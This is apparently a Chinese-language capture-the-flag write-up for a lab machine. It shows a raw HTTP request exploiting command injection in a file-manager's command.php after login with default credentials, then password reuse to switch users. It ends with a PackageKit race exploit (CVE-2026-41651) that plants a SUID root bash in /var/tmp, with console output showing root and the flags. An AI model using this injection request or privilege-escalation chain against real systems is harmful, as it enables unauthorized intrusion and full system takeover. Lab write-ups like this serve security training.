

1. 初始突破 (www-data)

下载源码审计 <https://github.com/linh0804/file-manager>

发现默认账号密码 admin/!!!123456789!!!, 登录

利用 command.php 命令注入漏洞获得 webshell

POST /command.php HTTP/1.1	99	
Host: 192.168.56.125	100	
Accept-Encoding: gzip, deflate, br		
Accept: */*		
Accept-Language: en-US;q=0.9,en;q=0.8	101	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)	102	
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70		
Safari/537.36		
Connection: close		
Cache-Control: max-age=0		
Cookie: file_manager_910afde9d128715918e4f5a56b2a20d8_auth=84b89b0a11cfb02cac0758f550d4c8e7		
Content-Type: application/x-www-form-urlencoded		
Content-Length: 39		
command=cat+/home/goon/user.txt&submit=	103	
		<pre>\or // <input type="submit" name="submit" value="OK" /> </form> </div> <div class="list"> L nh:<pre> cat /home/goon/user.txt </pre> Code:<pre style="color: blue"> 0 </pre> K t qu :<pre id="output"> flag{user-f5b2df0193b830594bcaafe88b4dadae} </pre> Th m c th c thi:<pre> </pre> ...</pre>

2. 横向到 room

通过密码碰撞登录用户 goon 和 room:

最终登录 room/!!!123456789!!!

3. CVE-2026-41651 提权到 root

使用 linpeas 扫描, 发现满足 CVE-2026-41651 提权条件:

D-Bus 和 polkitd 可用

PackageKit 版本 1.3.1 < 1.3.5

以 room 身份执行 PackageKit TOCTOU exploit:

exploit 在 /var/tmp/ 创建了 SUID root bash (/var/tmp/.suid_bash)

关键点: /tmp 是 nosuid 挂载, 必须用 /var/tmp (ext4 无 nosuid)

/var/tmp/.suid_bash -p -c 'id' → euid=0(root) 成功提权

```
Trying: cve_2026_41651
[*] CVE-2026-41651: Pack2TheRoot - PackageKit D-Bus race. uid=1001
[*] [+] LANDED at t+2s - /var/tmp/.suid_bash mode=4755 uid=0
[*] executing root shell via /var/tmp/.suid_bash -p
.suid_bash-5.2# id
uid=1001(room) gid=1001(room) euid=0(root) groups=1001(room)
.suid_bash-5.2# cat /root/root.txt
flag{root-62906181ed534a9bf896613c1a12d573}
.suid_bash-5.2#
```